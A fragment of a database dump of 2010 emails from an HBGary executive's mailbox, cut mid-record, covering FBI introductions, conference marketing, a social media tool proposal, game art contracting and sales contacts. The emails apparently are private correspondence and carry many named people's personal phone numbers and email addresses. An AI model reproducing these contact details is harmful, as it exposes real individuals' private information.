Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, October 06, 2010 12:30 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: Ted Vera\r\nSubject: Re: Do You Know\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nThat is the dirfbi and asst. DIR for cyber\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Oct 6, 2010, at 3:25 PM, &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRobert\r\nMueller or Gordon Snow at FBI?\r\n\r\n \r\n\r\nPenny\r\nC. Leavy\r\n\r\nPresident\r\n\r\nHBGary,\r\nInc\r\n\r\n \r\n\r\n \r\n\r\nNOTICE – Any\r\ntax information or written tax advice contained herein (including attachments)\r\nis not intended to be and cannot be used by any taxpayer for the purpose of\r\navoiding tax penalties that may be imposed on the taxpayer.  (The\r\nforegoing legend has been affixed pursuant to U.S. Treasury regulations\r\ngoverning tax practice.)\r\n\r\n \r\n\r\nThis message and any attached files may\r\ncontain information that is confidential and/or subject of legal privilege\r\nintended only for use by the intended recipient. If you are not the intended\r\nrecipient or the person responsible for   delivering the message to\r\nthe intended recipient, be advised that you have received this message in error\r\nand that any dissemination, copying or use of this message or attachment is\r\nstrictly\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9400,'aaron_hbgary_com/9400.html'),(12739,'2010-10-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009372.M677107P14101Q7594.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Do You Know','I&#39;ll keep an eye out for snow.  I may run in to him at some of these functions.From my iPhoneOn Oct 6, 2010, at 3:33 PM, &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nCorrect, but do you know them?  Can you get an intro?\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, October 06, 2010 12:30 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: Ted Vera\r\nSubject: Re: Do You Know\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nThat is the dirfbi and asst. DIR for cyber\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Oct 6, 2010, at 3:25 PM, &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRobert\r\nMueller or Gordon Snow at FBI?\r\n\r\n \r\n\r\nPenny\r\nC. Leavy\r\n\r\nPresident\r\n\r\nHBGary,\r\nInc\r\n\r\n \r\n\r\n \r\n\r\nNOTICE – Any\r\ntax information or written tax advice contained herein (including attachments)\r\nis not intended to be and cannot be used by any taxpayer for the purpose of\r\navoiding tax penalties that may be imposed on the taxpayer.  (The\r\nforegoing legend has been affixed pursuant to U.S. Treasury regulations\r\ngoverning tax practice.)\r\n\r\n \r\n\r\nThis message and any attached files may\r\ncontain information that is confidential and/or subject of legal privilege\r\nintended only for use by the intended recipient. If you are not the intended\r\nrecipient or the person responsible for   delivering the message to\r\nthe intended recipient, be advised that you have received this message in error\r\nand that any dissemination, copying or use of this message or attachment is\r\nstrictly\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4715,'aaron_hbgary_com/4715.html'),(12740,'2010-10-06','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297009372.M900914P14101Q7595.eml','\"Carma Beedle\" <carma@hbgary.com>,\"Carma Beedle\" <carma@hbgary.com>','SecDev: outreach material request','Dear Carma,I\'d like to update you on some of SecDev\'s outreach activities. We are in prime convention season, and will start marketing your products and get them some significant prominence in the Canadian security, intelligence, defence and business markets, as well as in some foreign markets.It would help us get you visibility if we could distribute marketing material at the various conventions at which SecDev will have a presence:1) CASIS - Canadian Association of Security and Intelligence Studies, annual conference in Ottawa on 14-15 October: this is an annual gathering of about 400+ professionals from the security and intelligence community from North America and Europe, including former and current practitioners and policymakers. (www.casis.ca) SecDev is convening a high level panel on cyber security and cyber espionage, and this will drive a lot of interest to our booth.2) SecTor in Toronto, Canada on 26-27 October - this is an annual gathering of tech security professionals and large and small security vendors from across the community in North America, expected attendance is at about 750 people over the two days with heavy dose on practitioners. Our senior technical investigator, Nart Villeneuve will be leading a workshop in advanced cyber forensic methods. I believe you\'re already at this show through a keynote?3) We are also invited to several closed door events in the UK, the Netherlands and Russia, and would like to be able to market your technology and services on your behalf and to provide you with a presence and introduction to potential clients. The market here will be energy companies, government agencies (Europe only), and is a great opportunity to get your product in front of the right decision makers.We are looking for material such as flyers, postcards and tear-sheets that are easy to distribute at our booth and in person, as well as business cards. We\'d like about 500 copies of all material for use over the next 1-2 months.Material should be shipped to:The SecDev GroupWorld Exchange Plaza45 O\'Connor Street, Suite 1150Ottawa, Ontario K1P 1A4CanadaPh: (613) 755-4007Best wishes,Arnav\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Groupcomplexity.engagedWorld Exchange Plaza45 O\'Connor Street, Suite 1150Ottawa, Ontario K1P 1A4Office:&nbsp;+1 (613) 755-4007Cell:&nbsp;&nbsp;+1 (438) 885-3328E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\n',4932,'aaron_hbgary_com/4932.html'),(12741,'2010-10-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009373.M127103P14101Q7596.eml','\"Robert Frisbie\" <Robert.Frisbie@mantech.com>','Social Media Tool Proposal','Hi Bob,\r\n\r\nI have shuffled some of the items around into two phases and took into\r\nconsideration that Palantir is going to help with some of the\r\nintegration for link analysis and data correlation.  We will likely be\r\nable to get into some of the persona management logic but didn\'t want\r\nto overshoot.\r\n\r\nAaron\r\n',8149,'aaron_hbgary_com/8149.html'),(12742,'2010-10-06','\"Teligy\" <info@teligy.com>','/aaron@hbgary.com/new/1297009373.M373008P14101Q7597.eml','aaron@hbgary.com','Army command posts deploy a Teligy audio solution','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nView this email as a web page\r\n\r\n	\r\n		\r\n			\r\n		\r\n\r\n			\r\n	\r\n	\r\n		\r\n			\r\n	\r\n	\r\n		\r\n			\r\n\r\n	\r\n\r\nTeligy&nbsp;&nbsp;&nbsp;&bull;&nbsp;&nbsp;&nbsp;40 Concourse Way&nbsp;&nbsp;&nbsp;&bull;&nbsp;&nbsp;&nbsp;Greer, SC 29650&nbsp;&nbsp;&nbsp;&bull;&nbsp;&nbsp;&nbsp;http://www.teligy.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo unsubscribe, click here\r\n',15628,'aaron_hbgary_com/15628.html'),(12743,'2010-10-06','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297009373.M573455P14101Q7598.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','WHere are Malware Samples','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom CERT?\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',351,'aaron_hbgary_com/351.html'),(12744,'2010-10-06','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297009380.M821860P14101Q7599.eml','aaron@hbgary.com','mockup of building dialog box','FYI.\r\n \r\n-G\r\n',3761,'aaron_hbgary_com/3761.html'),(12745,'2010-10-06','\"carma\" <carma@hbgary.com>','/aaron@hbgary.com/new/1297009381.M567612P14101Q7600.eml','\"Arnav Manchanda\" <a.manchanda@secdev.ca>,\"Arnav Manchanda\" <a.manchanda@secdev.ca>','RE: SecDev: outreach material request','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Arnav,\r\n\r\n&nbsp;\r\n\r\nLet me work on this and get back to you asap.&nbsp; &nbsp;I am sure we can\r\nget you some documentation in time for next week&#8217;s event.\r\n\r\n&nbsp;\r\n\r\nI am going to be at SecTor so I will look forward to meeting you\r\nthere.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBest Regards,\r\n\r\n&nbsp;\r\n\r\nCarma Beedle\r\n\r\n415 517 0663\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Arnav Manchanda\r\n[mailto:a.manchanda@secdev.ca] \r\nSent: Wednesday, October 06, 2010 12:40 PM\r\nTo: Carma Beedle\r\nCc: Aaron Barr\r\nSubject: SecDev: outreach material request\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nDear Carma,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\'d like to update you on some of SecDev\'s outreach\r\nactivities. We are in prime convention season, and will start marketing your\r\nproducts and get them some significant prominence in the Canadian security,\r\nintelligence, defence and business markets, as well as in some foreign markets.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIt would help us get you visibility if we could distribute\r\nmarketing material at the various conventions at which SecDev will have a\r\npresence:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n1) CASIS - Canadian Association of Security and\r\nIntelligence Studies, annual conference in Ottawa on 14-15 October: this\r\nis an annual gathering of about 400+ professionals from the security and\r\nintelligence community from North America and Europe, including former and\r\ncurrent practitioners and policymakers. (www.casis.ca)\r\nSecDev is convening a high level panel on cyber security and cyber espionage,\r\nand this will drive a lot of interest to our booth.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n2) SecTor in Toronto, Canada on 26-27 October\r\n- this is an annual gathering of tech security professionals and large and\r\nsmall security vendors from across the community in North America, expected\r\nattendance is at about 750 people over the two days with heavy dose on\r\npractitioners. Our senior technical investigator, Nart Villeneuve will be\r\nleading a workshop in advanced cyber forensic methods. I believe you\'re already\r\nat this show through a keynote?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n3) We are also invited to several closed door events\r\nin the UK, the Netherlands and Russia, and would like to be able to market your\r\ntechnology and services on your behalf and to provide you with a presence and\r\nintroduction to potential clients. The market here will be energy companies,\r\ngovernment agencies (Europe only), and is a great opportunity to get your\r\nproduct in front of the right decision makers.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe are looking for material such as flyers, postcards and\r\ntear-sheets that are easy to distribute at our booth and in person, as well as\r\nbusiness cards. We\'d like about 500 copies of all material for use over the\r\nnext 1-2 months.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMaterial should be shipped to:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe SecDev Group\r\n\r\n\r\n\r\n\r\n\r\nWorld Exchange Plaza\r\n\r\n\r\n\r\n\r\n\r\n45 O\'Connor Street, Suite 1150\r\n\r\n\r\n\r\n\r\n\r\nOttawa, Ontario K1P 1A4\r\n\r\n\r\n\r\n\r\n\r\nCanada\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPh: (613) 755-4007\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest wishes,\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav Manchanda\r\n\r\n\r\n\r\nBusiness Capture &amp;\r\nAnalytics\r\n\r\nThe&nbsp;SecDev&nbsp;Group\r\ncomplexity.engaged\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWorld Exchange Plaza\r\n\r\n\r\n\r\n\r\n\r\n45 O\'Connor Street, Suite 1150\r\n\r\n\r\n\r\n\r\n\r\nOttawa, Ontario K1P 1A4\r\n\r\n\r\n\r\n\r\n\r\nOffice:&nbsp;+1 (613) 755-4007\r\nCell:&nbsp;&nbsp;+1 (438) 885-3328\r\nE-mail:&nbsp;a.manchanda@secdev.ca&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThis email and any attached files are confidential and copyright\r\nprotected. If you are not the addressee, any dissemination of this\r\ncommunication is strictly prohibited. Unless otherwise expressly agreed in\r\nwriting, nothing stated in this communication shall be legally binding.\r\n\r\n&nbsp;\r\n\r\nConsider\r\nthe environment. Please don\'t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5234,'aaron_hbgary_com/5234.html'),(12746,'2010-10-06','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297009381.M806065P14101Q7601.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,,','Confirmed for TSA Cyber Security In Transportation Summit Event Thursday October 21st','Hi Aaron, You have been confirmed to replace Rich at the upcoming TSA Cyber Security in Transportation Summit event in Arlington VA on Thursday Oct. 21st.  You&#39;ll present his APT slidedeck. Please send me your bio and headshot ASAP and I&#39;ll forward over to organization. Further details i.e. time of presentation, more to come. Thank you so much for doing this event -- they are excited to have you.\r\n-- \r\nKaren Burke\r\nDirector of Marketing and Communications\r\nHBGary, Inc.\r\n650-814-3764\r\nkaren@hbgary.com\r\nFollow HBGary On Twitter: @HBGaryPR\r\n',14325,'aaron_hbgary_com/14325.html'),(12747,'2010-10-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009382.M108103P14101Q7602.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,','Re: WHere are Malware Samples','Let me ping Sean.From my iPhoneOn Oct 6, 2010, at 4:22 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nFrom CERT?\r\n\r\n \r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n \r\n\r\n \r\n\r\nNOTICE – Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on the taxpayer.  (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n \r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for   delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1353,'aaron_hbgary_com/1353.html'),(12748,'2010-10-06','\"Matt Furman\" <matt_furman2005@yahoo.com>','/aaron@hbgary.com/new/1297009383.M164706P14101Q7603.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: Fwd: House with selection zodiac','Aaron,Jeremiah and I have discussed how to help Gunwale, and have only a few questions that will ultimately determine our timeline and compensation.The main points deal with concept art/pictures, and internal structures. If there is conceptual art that can help with understanding the variations greg explained to me on the phone, and if we could have possibly web access to it, then we\'d understand what the limitations to the variations would be. Based on our previous conversations, this will probably not be a big deal, but knowing how complicated/simplistic we can be helps greatly. Now, dealing with internal structures (i.e. a living room set inside the house) would change our initial estimates too. I\'m assuming there is either no internal structuring, or its very limited. If that assumption is correct, then all the\r\n better. If not, and the internal structures are as low-poly as the building, then it won\'t be a problem, but it will alter our timelines slightly.If our assumptions on those two areas are correct, then we\'re confident we can construct the houses in roughly three hours each, meaning, Jeremiah could have a complete house constructed in three hours, and I would have a completely different structure completed in three hours. Both would have the textures mapped to spec. If there is a library of textures we could pull from, of course, that would make the timeline even better. I would also like to add that we are both proficient enough that if you need opening/closing doors, windows, or even smoke coming from the chimney, it would not change our timelines by more than a few minutes.Now, based on this, and knowing the financial constraints, we\'d like to suggest a plan for compensation based solely on the number of models completed and\r\n accepted. We both believe each house model would cost between 50 - 75 dollars to complete. We could whip these out VERY VERY fast.Matt FurmanJermiah GobenTriskelion ProductionsBUILD YOUR VISION--- On Wed, 9/29/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:From: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Fwd: House with selection zodiacTo: \"Matt Furman\" &lt;matt_furman2005@yahoo.com&gt;Date: Wednesday, September 29, 2010, 7:20 PMMatt,3d file to follow.AaronBegin forwarded message:From: Greg Hoglund &lt;greg@gunwalegames.com&gt;Date: September 28, 2010 8:24:10 PM EDTTo: aaron@hbgary.comCc: martin@hbgary.com, shawn@hbgary.comSubject: House with selection zodiac&nbsp;\r\nAaron,\r\n&nbsp;\r\nThe attached screenshot shows the selection zodiac that will appear around a house if you right click on it.&nbsp; We figure right-click is the approach since right-click on most computer systems will reveal a pop-up menu.&nbsp; In the game, right clicking will cause the buildings control-panel to popup.&nbsp; The guys were working on the art assets for the GUI today and it looks pretty good.&nbsp; The zodiac is bold and would appear to float around the house, similar to how it appears in the screen shot.&nbsp; This should serve our needs for the moment.\r\n\r\n&nbsp;\r\nAnother small detail, you will notice that the house now has a little ground texture surrounding it\'s base.&nbsp; This was added so the house doesn\'t appear to \'float\' on the terrain.&nbsp; I have yet to see it in-client but I think it will be a nice touch.\r\n\r\n&nbsp;\r\n-Greg\r\n\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n\r\n\r\n',3656,'aaron_hbgary_com/3656.html'),(12749,'2010-10-06','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>','/aaron@hbgary.com/new/1297009383.M518610P14101Q7604.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: Question','Aaron,\r\n\r\nI\'ve included Scott Shinberg (BD) and Bob Paczynski (Line) on the CC\r\nline of this note.\r\n\r\nThey\'re at least a good place to start.\r\n\r\nScott\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, October 06, 2010 11:32 AM\r\nTo: Sheldon, Scott W.\r\nSubject: Re: Question\r\n\r\nHi Scott,\r\n\r\nCommercial IA/Cyber\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\nOn Oct 6, 2010, at 9:49 AM, \"Sheldon, Scott W.\"\r\n wrote:\r\n\r\n> Aaron,\r\n>\r\n> Are you looking for commercial Cyber/Information Assurance, or\r\nsomething\r\n> else commercial?\r\n>\r\n> Scott\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, October 06, 2010 8:03 AM\r\n> To: Sheldon, Scott W.\r\n> Subject: Question\r\n>\r\n> Scott,\r\n>\r\n> Is there someone in your commercial organization you can put me in\r\n> contact with?  If so that would be great.\r\n>\r\n> Thanks,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal, LLC\r\n> 719.510.8478\r\n>\r\n>\r\n>\r\n',15986,'aaron_hbgary_com/15986.html'),(12750,'2010-10-06','\"Matt Bigge\" <matt@strategicsocial.com>','/aaron@hbgary.com/new/1297009383.M729795P14101Q7605.eml','\"Aaron Barr\" <adbarr@mac.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <adbarr@mac.com>','StratSoc/HB Gary','\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\nAaron,\r\n&nbsp;\r\nGood to meet you this morning.&nbsp; I&#8217;m glad we were finally able to connect.&nbsp; I have copied Matt Tirman, our head of business development.&nbsp; I think it would be good for the two of you to discuss respective capabilities with a goal of figuring\r\n out how we can partner pursuing both DoD and IC opportunities.&nbsp; Do you have an overview or slide deck you can share?\r\n&nbsp;\r\nBest,\r\n&nbsp;\r\nMatt\r\n&nbsp;\r\n__________________________\r\nMatt Bigge\r\nCEO\r\nStrategic Social\r\n408-202-8002\r\nmatt@strategicsocial.com\r\n@stratsoc\r\n@bigge\r\n&nbsp;\r\n\r\n\r\n\r\n',14877,'aaron_hbgary_com/14877.html'),(12751,'2010-10-06','\"Salazar, William E.\" <WILLIAM.E.SALAZAR@saic.com>','/aaron@hbgary.com/new/1297009383.M937237P14101Q7606.eml','aaron@hbgary.com,aaron@hbgary.com','RE: Question','Aaron,\r\n\r\nDid we meet at the RSA Conference? In any case, what can I do for you? \r\n\r\nThanks,\r\n\r\nWilliam E. Salazar | SAIC\r\nAVP/Deputy Division Manager | Intel, Security and Technology Group\r\nphone: 703.676.7374 | fax 703.676.7378\r\nmobile: 703.459.3886 | email: William.E.Salazar@saic.com \r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, October 06, 2010 11:32 AM\r\nTo: Sheldon, Scott W.\r\nSubject: Re: Question\r\n\r\nHi Scott,\r\n\r\nCommercial IA/Cyber\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\nOn Oct 6, 2010, at 9:49 AM, \"Sheldon, Scott W.\"\r\n wrote:\r\n\r\n> Aaron,\r\n>\r\n> Are you looking for commercial Cyber/Information Assurance, or something\r\n> else commercial?\r\n>\r\n> Scott\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, October 06, 2010 8:03 AM\r\n> To: Sheldon, Scott W.\r\n> Subject: Question\r\n>\r\n> Scott,\r\n>\r\n> Is there someone in your commercial organization you can put me in\r\n> contact with?  If so that would be great.\r\n>\r\n> Thanks,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal, LLC\r\n> 719.510.8478\r\n>\r\n>\r\n>\r\n',7817,'aaron_hbgary_com/7817.html'),(12752,'2010-10-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009384.M205977P14101Q7607.eml','\"Maria Lucas\" <maria@hbgary.com>','Re: who do you know at SAIC that can help me?','That is the person I was pointed to.  What are u looking for?AaronFrom my iPhoneOn Oct 5, 2010, at 4:44 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\nAaron / TedWho do you know at SAIC that can help me with Commercial   -- Bill Salazar is trying to help me but he isn&#39;t so far...\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com   \r\n\r\n\r\n',6713,'aaron_hbgary_com/6713.html'),(12753,'2010-10-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009384.M522881P14101Q7608.eml','\"Greg Hoglund\" <greg@hbgary.com>','Fwd: House with selection zodiac','Thoughts?From my iPhoneBegin forwarded message:From: Matt Furman &lt;matt_furman2005@yahoo.com&gt;\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: &quot;greg@gunwalegames.com&quot; &lt;greg@gunwalegames.com&gt;, &quot;jgobenbis@gmail.com&quot; &lt;jgobenbis@gmail.com&gt;\r\nSubject: Re: Fwd: House with selection zodiacAaron,Jeremiah and I have discussed how to help Gunwale, and have only a few questions that will ultimately determine our timeline and compensation.\r\nThe main points deal with concept art/pictures, and internal structures. If there is conceptual art that can help with understanding the variations greg explained to me on the phone, and if we could have possibly web access to it, then we&#39;d understand what the limitations to the variations would be. Based on our previous conversations, this will probably not be a big deal, but knowing how complicated/simplistic we can be helps greatly. Now, dealing with internal structures (i.e. a living room set inside the house) would change our initial estimates too. I&#39;m assuming there is either no internal structuring, or its very limited. If that assumption is correct, then all the better. If not, and the internal structures are as low-poly as the building, then it won&#39;t be a problem, but it will alter our timelines slightly.If our assumptions on those two areas are correct, then we&#39;re confident we can construct the houses in roughly three hours each, meaning,\r\n Jeremiah could have a complete house constructed in three hours, and I would have a completely different structure completed in three hours. Both would have the textures mapped to spec. If there is a library of textures we could pull from, of course, that would make the timeline even better. I would also like to add that we are both proficient enough that if you need opening/closing doors, windows, or even smoke coming from the chimney, it would not change our timelines by more than a few minutes.Now, based on this, and knowing the financial constraints, we&#39;d like to suggest a plan for compensation based solely on the number of models completed and accepted. We both believe each house model would cost between 50 - 75 dollars to complete. We could whip these out VERY VERY fast.\r\nMatt FurmanJermiah GobenTriskelion ProductionsBUILD YOUR VISION--- On Wed, 9/29/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: Fwd: House with selection zodiacTo: &quot;Matt Furman&quot; &lt;matt_furman2005@yahoo.com&gt;Date: Wednesday, September 29, 2010, 7:20 PM\r\nMatt,3d file to follow.AaronBegin forwarded message:From: Greg Hoglund &lt;greg@gunwalegames.com&gt;\r\nDate: September 28, 2010 8:24:10 PM EDTTo: aaron@hbgary.comCc: martin@hbgary.com, shawn@hbgary.com\r\nSubject: House with selection zodiac Aaron, The attached screenshot shows the selection zodiac that will appear around a house if you right click on it.  We figure right-click is the approach since right-click on most computer systems will reveal a pop-up menu.  In the game, right clicking will cause the buildings control-panel to popup.  The guys were working on the art assets for the GUI today and it looks pretty good.  The zodiac is bold and would appear to float around the house, similar to how it appears in the screen shot.  This should serve our needs for the moment.\r\n Another small detail, you will notice that the house now has a little ground texture surrounding it&#39;s base.  This was added so the house doesn&#39;t appear to &#39;float&#39; on the terrain.  I have yet to see it in-client but I think it will be a nice touch.\r\n -GregAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',2277,'aaron_hbgary_com/2277.html'),(12754,'2010-10-06','\"Matt Tirman\" <matt.tirman@strategicsocial.com>','/aaron@hbgary.com/new/1297009384.M771578P14101Q7609.eml','\"Matt Bigge\" <matt@strategicsocial.com>,\"Matt Bigge\" <matt@strategicsocial.com>,','Re: StratSoc/HB Gary','\r\n\r\n\r\n\r\n\r\nThanks, Matt.&nbsp;\r\n\r\n\r\nAaron- I leave Monday for two weeks oconus, so it would be good to grab a call tomorrow or Friday to discuss. I will also send an nda your way.&nbsp;\r\n\r\n\r\nMatt\r\n\r\nMatthew Tirman\r\nStrategic Social\r\n571.338.7015\r\n\r\n\r\nOn Oct 6, 2010, at 5:43 PM, &quot;Matt Bigge&quot; &lt;matt@strategicsocial.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n&nbsp;\r\nGood to meet you this morning.&nbsp; I’m glad we were finally able to connect.&nbsp; I have copied Matt Tirman, our head of business development.&nbsp; I think it would be good for the two of you to discuss respective capabilities with a goal of figuring\r\n out how we can partner pursuing both DoD and IC opportunities.&nbsp; Do you have an overview or slide deck you can share?\r\n&nbsp;\r\nBest,\r\n&nbsp;\r\nMatt\r\n&nbsp;\r\n__________________________\r\nMatt Bigge\r\nCEO\r\nStrategic Social\r\n408-202-8002\r\nmatt@strategicsocial.com\r\n@stratsoc\r\n@bigge\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n',12840,'aaron_hbgary_com/12840.html'),(12755,'2010-10-06','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297009385.M342658P14101Q7611.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: who do you know at 